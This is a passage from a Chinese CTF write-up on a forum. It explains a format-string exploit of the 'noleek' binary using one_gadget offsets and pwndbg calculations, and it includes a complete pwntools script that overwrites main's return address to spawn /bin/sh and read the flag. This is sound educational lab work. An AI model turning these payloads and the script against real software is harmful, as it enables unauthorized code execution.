    0x7fa20b9c8000     0x7fa20b9c9000 r--p     1000  29000 /lib/x86_64-linux-gnu/ld-2.31.so

    0x7fa20b9c9000     0x7fa20b9ca000 rw-p     1000  2a000 /lib/x86_64-linux-gnu/ld-2.31.so

    0x7fa20b9ca000     0x7fa20b9cb000 rw-p     1000      0 [anon_7fa20b9ca]

    0x7ffe48541000     0x7ffe48562000 rw-p    21000      0 [stack]

    0x7ffe485bd000     0x7ffe485c1000 r--p     4000      0 [vvar]

    0x7ffe485c1000     0x7ffe485c3000 r-xp     2000      0 [vdso]

0xffffffffff600000 0xffffffffff601000 r-xp     1000      0 [vsyscall]

再看看它和one_gadget之间的偏移是多少:0xa4a91

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

[email protected]:/chal

0xc825a execve("/bin/sh", r12, r13)

constraints:

  [r12] == NULL || r12 == NULL

  [r13] == NULL || r13 == NULL

0xc825d execve("/bin/sh", r12, rdx)

constraints:

  [r12] == NULL || r12 == NULL

  [rdx] == NULL || rdx == NULL

0xc8260 execve("/bin/sh", rsi, rdx)

constraints:

  [rsi] == NULL || rsi == NULL

  [rdx] == NULL || rdx == NULL

1

2

3

4

pwndbg> p/x (0x7fa20b7c2000+0xc8260)-0x7fa20b7e57cf

$4 = 0xa4a91

pwndbg> p 0xa4a91

$5 = 674449

这里选的是第三个gadget,因为main函数返回前将rsi和rdx清零了,满足第三个gadget的constraints:

image-20230716184528949

输入下面的格式化字符串,先打印第16个参数低4字节(0x0b7e57cf)个字符,然后打印674449个参数,最后它两之和(也就是one_gadget真实地址的低4字节)覆写第42个参数的低4字节,即将main_ret(0x7fa20b7e5d0a)修改为one_gadget的地址,最终拿到shell。

回顾一下格式化占位符(format placeholder)的语法:

%[parameter][flags][field width][.precision][length]type

  • Parameter可以忽略或者是n$n是用这个格式说明符(specifier)显示第几个参数

1

2

3

4

5

6

%*16$c%674449c%42$n

分开解读:

%*16$c    打印第16个参数低4Byte个字符(这个16$和后面的42$是一个概念)

%674449c  打印674449个字符

%42$n     将前面打印的字符数写入第42个参数

image-20230716175930208

6.3 exp

1

2

3

%*c%56c%13$hn

%*16$c%674449c%42$n

不是每次都能成功,调试过程中我发现有时候输入以后,它会把第13个参数改成一个不知道是什么的数字。这时候我会重新输入%*c%13$hn,然后多试几次就ok。所以如果写成python脚本,也是用一个死循环来多试几次:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

from pwn import *

import warnings

import subprocess

warnings.filterwarnings(action='ignore', category=BytesWarning)

s       = lambda data               :p.send(data)

sa      = lambda delim,data         :p.sendafter(delim, data)

sl      = lambda data               :p.sendline(data)

sla     = lambda delim,data         :p.sendlineafter(delim, data)

r       = lambda num=4096           :p.recv(num)

ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)

ruf     = lambda delims, drop=False :p.recvuntil(delims, drop)

rl      = lambda drop=True          :p.recvline(drop)

rlf     = lambda drop=False         :p.recvline(drop)

uu64    = lambda data               :u64(data.ljust(8,'\x00'))

leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

logsucc = lambda info               :log.success(info)

itr     = lambda                    :p.interactive()

context.clear(arch='amd64')

context.log_level = 'DEBUG'

context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']

def dbg():

    gdb.attach(p)

elf = ELF("./noleek")

libc = ELF("/lib/x86_64-linux-gnu/libc-2.31.so")

while True:

    try:

        p = process("./noleek")

        payload = f'%*c%{0x38}c%13$hn'.encode()

        sla(b"leek? ", payload)

        payload = f'%*16$c%{0xa4a91}c%42$n'.encode()

        sla(b"more leek? ", payload)

        ru(b'noleek.\n')

        sl(b'cat flag.txt')

        flag = rl()

        print(flag)

    except:

        p.close()

        continue

    break   

itr()

image-20230716182631677

After the sailors were betrayed by their trusty anchor, they rewrote their union smart contract to be anchor-free! They even added a new registration feature so you can show off your union registration on the blockchain!

智能合约,不会,正打算学这个。后面再补这题吧。

  • 这些题主要是栈溢出和格式化字符串漏洞
  • 对于输入有长度限制的时候,注意sendlineaftersendafter,不然容易卡在这个小细节里。
  • 格式化字符串,网上稍微搜了搜,还是维基百科介绍得最详细。

看雪·2023 KCTF年度赛即将来袭! [防守方]规则发布,征题截止08月25日

最后于 36分钟前 被kanxue编辑 ,原因: 上传附件

上传的附件:
  • noleek.rar (3.26kb,0次下载)
  • queue (16.02kb,0次下载)
  • slack.rar (3.57kb,0次下载)
  • widget.rar (3.01kb,0次下载)
  • leek.rar (3.54kb,0次下载)

文章来源: https://bbs.pediy.com/thread-278048.htm
如有侵权请联系:admin#unsafe.sh